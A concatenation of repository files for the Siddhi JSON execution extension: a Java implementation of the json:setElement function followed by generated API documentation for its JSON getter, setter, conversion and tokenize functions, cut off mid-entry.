target="_blank" href="https://github.com/siddhi-io/siddhi-execution-json/issues">the issue tracker</a>. * For production support and other contribution related information refer <a target="_blank" href="https://siddhi.io/community/">Siddhi Community</a> documentation. <file_sep>/* * Copyright (c) 2018, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.siddhi.extension.execution.json.function; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.jayway.jsonpath.DocumentContext; import com.jayway.jsonpath.InvalidJsonException; import com.jayway.jsonpath.InvalidModificationException; import com.jayway.jsonpath.JsonPath; import com.jayway.jsonpath.PathNotFoundException; import io.siddhi.annotation.Example; import io.siddhi.annotation.Extension; import io.siddhi.annotation.Parameter; import io.siddhi.annotation.ParameterOverload; import io.siddhi.annotation.ReturnAttribute; import io.siddhi.annotation.util.DataType; import io.siddhi.core.config.SiddhiQueryContext; import io.siddhi.core.exception.SiddhiAppRuntimeException; import io.siddhi.core.executor.ExpressionExecutor; import io.siddhi.core.executor.function.FunctionExecutor; import io.siddhi.core.util.config.ConfigReader; import io.siddhi.core.util.snapshot.state.State; import io.siddhi.core.util.snapshot.state.StateFactory; import io.siddhi.query.api.definition.Attribute; import io.siddhi.query.api.exception.SiddhiAppValidationException; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.util.List; import java.util.Map; /** * This class provides implementation for inserting values to the given json using the path specified. */ @Extension( name = "setElement", namespace = "json", description = "Function sets JSON element into a given JSON at the specific path.", parameters = { @Parameter( name = "json", description = "The JSON to which a JSON element needs to be added/replaced.", type = {DataType.STRING, DataType.OBJECT}, dynamic = true), @Parameter( name = "path", description = "The JSON path where the JSON element should be added/replaced.", type = {DataType.STRING}, dynamic = true), @Parameter( name = "json.element", description = "The JSON element being added.", type = {DataType.STRING, DataType.BOOL, DataType.DOUBLE, DataType.FLOAT, DataType.INT, DataType.LONG, DataType.OBJECT}, dynamic = true), @Parameter( name = "key", description = "The key to be used to refer the newly added element in the input JSON.", type = {DataType.STRING}, dynamic = true, defaultValue = "Assumes the element is added to a JSON array, or the element selected " + "by the JSON path will be updated.", optional = true) }, parameterOverloads = { @ParameterOverload(parameterNames = {"json", "path", "json.element"}), @ParameterOverload(parameterNames = {"json", "path", "json.element", "key"}) }, returnAttributes = @ReturnAttribute( description = "Returns the modified JSON with the inserted elements. If there " + "are no valid path given, it returns the original JSON with modification.", type = {DataType.OBJECT}), examples = { @Example( syntax = "json:setElement(json, '$', \"{'country' : 'USA'}\", 'address')", description = "If the `json` is the format `{'name' : 'John', 'married' : true}`," + "the function updates the `json` as `{'name' : 'John', 'married' : true, " + "'address' : {'country' : 'USA'}}` by adding 'address' element and" + " returns the updated JSON."), @Example( syntax = "json:setElement(json, '$', 40, 'age')", description = "If the `json` is the format `{'name' : 'John', 'married' : true}`," + "the function updates the `json` as `{'name' : 'John', 'married' : true, " + "'age' : 40}` by adding 'age' element and returns the updated JSON."), @Example( syntax = "json:setElement(json, '$', 45, 'age')", description = "If the `json` is the format `{'name' : 'John', 'married' : true, " + "'age' : 40}`, the function updates the `json` as `{'name' : 'John', 'married' " + ": true, 'age' : 45}` by replacing 'age' element and returns the updated JSON."), @Example( syntax = "json:setElement(json, '$.items', 'book')", description = "If the `json` is the format `{'name' : 'Stationary', 'items' : " + "['pen', 'pencil']}`, the function updates the `json` as `{'name' : 'John'," + " 'items' : ['pen', 'pencil', 'book']}` by adding 'book' in the items array and " + "returns the updated JSON."), @Example( syntax = "json:setElement(json, '$.item', 'book')", description = "If the `json` is the format `{'name' : 'Stationary', 'item' : 'pen'}`, " + "the function updates the `json` as `{'name' : 'John', 'item' : 'book'}` " + "by replacing 'item' element and returns the updated JSON."), @Example( syntax = "json:setElement(json, '$.address', 'city', 'SF')", description = "If the `json` is the format `{'name' : 'John', 'married' : true}`," + "the function will not update, but returns the original JSON as there are no valid " + "path for `$.address`."), } ) public class SetElementJSONFunctionExtension extends FunctionExecutor { private static final long serialVersionUID = 1L; private static final Logger log = LogManager.getLogger(SetElementJSONFunctionExtension.class); private static final Gson gson = new GsonBuilder().serializeNulls().create(); /** * The initialization method for {@link FunctionExecutor}, which will be called before other methods and validate * the all configuration and getting the initial values. * * @param attributeExpressionExecutors are the executors of each attributes in the Function * @param configReader this hold the {@link FunctionExecutor} extensions configuration reader. * @param siddhiQueryContext Siddhi query context */ @Override protected StateFactory init(ExpressionExecutor[] attributeExpressionExecutors, ConfigReader configReader, SiddhiQueryContext siddhiQueryContext) { if (attributeExpressionExecutors.length == 4 || attributeExpressionExecutors.length == 3) { if (attributeExpressionExecutors[0] == null) { throw new SiddhiAppValidationException("Invalid input given to first argument 'json' of " + "json:setElement() function. Input for 'json' argument cannot be null"); } Attribute.Type inputJsonAttributeType = attributeExpressionExecutors[0].getReturnType(); if (!(inputJsonAttributeType == Attribute.Type.STRING || inputJsonAttributeType == Attribute.Type.OBJECT)) { throw new SiddhiAppValidationException("Invalid parameter type found for first argument 'json' of " + "json:setElement() function, required " + Attribute.Type.STRING + " or " + Attribute.Type .OBJECT + ", but found " + inputJsonAttributeType.toString()); } if (attributeExpressionExecutors[1] == null) { throw new SiddhiAppValidationException("Invalid input given to second argument 'path' of " + "json:setElement() function. Input 'path' argument cannot be null"); } Attribute.Type pathAttributeType = attributeExpressionExecutors[1].getReturnType(); if (pathAttributeType != Attribute.Type.STRING) { throw new SiddhiAppValidationException("Invalid parameter type found for second argument 'path' of " + "json:setElement() function, required " + Attribute.Type.STRING + ", but found " + pathAttributeType.toString()); } if (attributeExpressionExecutors[2] == null) { throw new SiddhiAppValidationException("Invalid input given to third argument 'json.element' of " + "json:setElement() function. Input 'json.element' argument cannot be null"); } if (attributeExpressionExecutors.length == 4) { if (attributeExpressionExecutors[3] == null) { throw new SiddhiAppValidationException("Invalid input given to fourth argument " + "'key' of json:setElement() function, argument cannot be null"); } Attribute.Type keyAttributeType = attributeExpressionExecutors[3].getReturnType(); if (!(keyAttributeType == Attribute.Type.STRING)) { throw new SiddhiAppValidationException("Invalid parameter type found for fourth argument " + "'key'" + " of json:setElement() function, required " + Attribute.Type.STRING + ", " + "but found " + keyAttributeType.toString()); } } } else { throw new SiddhiAppValidationException("Invalid no of arguments passed to json:setElement() function, " + "required 3 or 4, but found " + attributeExpressionExecutors.length); } return null; } /** * The main execution method which will be called upon event arrival * when there are more than one Function parameter * * @param data the runtime values of Function parameters * @return the Function result */ @Override protected Object execute(Object[] data, State state) { String jsonInput; if (data[0] instanceof String) { jsonInput = (String) data[0]; } else { jsonInput = gson.toJson(data[0]); } String path = data[1].toString(); Object jsonElement = data[2]; String key = null; if (data.length == 4) { key = data[3].toString(); } DocumentContext documentContext = JsonPath.parse(jsonInput); Object object = null; try { object = JsonPath.read(jsonInput, path); } catch (PathNotFoundException e) { log.warn(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": The path '" + path + "' is not a valid path for the json '" + jsonInput + "'. Please provide a valid path."); } catch (InvalidJsonException e) { throw new SiddhiAppRuntimeException("The input JSON is not a valid JSON. Input JSON - " + jsonInput, e); } if (object instanceof List) { try { Object parsedJsonElement = gson.fromJson(jsonElement.toString(), Object.class); if (jsonElement instanceof String && (parsedJsonElement instanceof Map || parsedJsonElement instanceof List)) { documentContext.add(path, gson.fromJson(jsonElement.toString(), Object.class)); } else { documentContext.add(path, jsonElement); } } catch (InvalidModificationException e) { log.warn(siddhiQueryContext.getSiddhiAppContext().getName() + ":" + siddhiQueryContext.getName() + ": The path '" + path + "' is not a valid path for the json '" + jsonInput + "'. Please " + "provide a valid path."); } } else { if (key != null) { Object parsedJsonElement = gson.fromJson(jsonElement.toString(), Object.class); if (jsonElement instanceof String && (parsedJsonElement instanceof Map || parsedJsonElement instanceof List)) { documentContext.put(path, key, gson.fromJson(jsonElement.toString(), Object.class)); } else { documentContext.put(path, key, jsonElement); } } else { documentContext.set(path, jsonElement); } } return documentContext.json(); } /** * The main execution method which will be called upon event arrival * when there are zero or one Function parameter * * @param data null if the Function parameter count is zero or * runtime data value of the Function parameter * @return the Function result */ @Override protected Object execute(Object data, State state) { return null; } /** * return a Class object that represents the formal return type of the method represented by this Method object. * * @return the return type for the method this object represents */ @Override public Attribute.Type getReturnType() { return Attribute.Type.OBJECT; } } <file_sep># API Docs - v1.0.11 ## Json ### getBool *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns a 'boolean' value, either 'true' or 'false', based on the valuespecified against the JSON element present in the given path.In case there is no valid boolean value found in the given path, the method still returns 'false'.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:getBool(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the boolean value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON from which the 'getBool' function fetches theboolean value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getBool(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the boolean value of the JSON input in the given path. The results are directed to the 'OutputStream' stream.</p> ### getDouble *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns the double value of the JSON element present in the given path. If there is no valid double value in the given path, the method returns 'null'.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <DOUBLE> json:getDouble(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON from which the 'getDouble' function fetches thedouble value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getDouble(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the double value of the given path. The results aredirected to the 'OutputStream' stream.</p> ### getFloat *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns the float value of the JSON element present in the given path.If there is no valid float value in the given path, the method returns 'null'.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <FLOAT> json:getFloat(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON from which the 'getFloat' function fetches thevalue.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getFloat(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the float value of the JSON input in the given path. The results aredirected to the 'OutputStream' stream.</p> ### getInt *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns the integer value of the JSON element present in the given path. If there is no valid integer value in the given path, the method returns 'null'.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <INT> json:getInt(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON from which the 'getInt' function fetches theinteger value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getInt(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the integer value of the JSON input in the given path. The resultsare directed to the 'OutputStream' stream.</p> ### getLong *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This returns the long value of the JSON element present in the given path. Ifthere is no valid long value in the given path, the method returns 'null'.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <LONG> json:getLong(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the JSON element from which the 'getLong' functionfetches the long value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getLong(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the long value of the JSON input in the given path. The results aredirected to 'OutputStream' stream.</p> ### getObject *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This returns the object of the JSON element present in the given path.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:getObject(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON from which the 'getObject' function fetches theobject.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getObject(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the object of the JSON input in the given path. The results are directed to the 'OutputStream' stream.</p> ### getString *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This returns the string value of the JSON element present in the given path.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:getString(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input that holds the value in the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the JSON input from which the 'getString' function fetches the string value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:getString(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the string value of the JSON input in the given path. The results are directed to the 'OutputStream' stream.</p> ### isExists *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method checks whether there is a JSON element present in the given path or not.If there is a valid JSON element in the given path, it returns 'true'. If there is no valid JSON element, it returns 'false'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:isExists(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input in a given path, on which the function performs the search forJSON elements.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path that contains the input JSON on which the function performs the search.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:isExists(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns either true or false based on the existence of a JSON element in a given path. The results are directed to the 'OutputStream' stream.</p> ### setElement *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method allows to insert elements into a given JSON present in a specific path. If there is no valid path given, it returns the original JSON. Otherwise, it returns the new JSON.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:setElement(<STRING|OBJECT> json, <STRING> path, <STRING|BOOL|DOUBLE|FLOAT|INT|LONG|OBJECT> jsonelement, <STRING> key) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The JSON input into which is this function inserts the new value.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path on the JSON input which is used to insert the given element.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">jsonelement</td> <td style="vertical-align: top; word-wrap: break-word">The JSON element which is inserted by the function into the input JSON.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>BOOL<br>DOUBLE<br>FLOAT<br>INT<br>LONG<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">key</td> <td style="vertical-align: top; word-wrap: break-word">The key which is used to insert the given element into the input JSON.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:setElement(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the JSON object present in the given path with the newly inserted JSONelement. The results are directed to the 'OutputStream' stream.</p> ### toObject *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns the JSON object related to a given JSON string.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:toObject(<STRING> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">A valid JSON string from which the function generates the JSON object.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:toJson(json) as jsonObject insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the JSON object corresponding to the given JSON string.The results aredirected to the 'OutputStream' stream.</p> ### toString *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method returns the JSON string corresponding to a given JSON object.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:toString(<OBJECT> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">A valid JSON object from which the function generates a JSON string.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from InputStream select json:toString(json) as jsonString insert into OutputStream; ``` <p style="word-wrap: break-word">This returns the JSON string corresponding to a given JSON object. The results are directed to the 'OutputStream' stream.</p> ### tokenize *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p style="word-wrap: break-word">This tokenizes the given json according the path provided</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenize(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The input json that should be tokenized using the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path that is used to tokenize the given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word">If this parameter is set to 'true' and a json is not provided in the given path, the event is dropped. If the parameter is set to 'false', the unavailability of a json in the specified path results in the event being created with a 'null' value for the json element.</td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top; word-wrap: break-word">The json element retrieved based on the given path and the json.</td> <td style="vertical-align: top">STRING</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string,path string); @info(name = 'query1') from InputStream#json:tokenize(json, path) select jsonElement insert into OutputStream; ``` <p style="word-wrap: break-word">This query performs a tokenization for the given json using the path specified. If the specified path provides a json array, it generates events for each element in that array by adding an additional attributes as the 'jsonElement' to the stream.<br><code>e.g., jsonInput - {name:"John",enrolledSubjects:["Mathematics","Physics"]}, path - "$.enrolledSubjects" </code><br>&nbsp;If we use the configuration in this example, it generates two events with the attributes "Mathematics", "Physics".<br>If the specified path provides a single json element, it adds the specified json element as an additional attribute named 'jsonElement' into the stream. <br><code> e.g., jsonInput - {name:"John",age:25}, path - "$.age" </code><br></p> ### tokenizeAsObject *<a target="_blank" 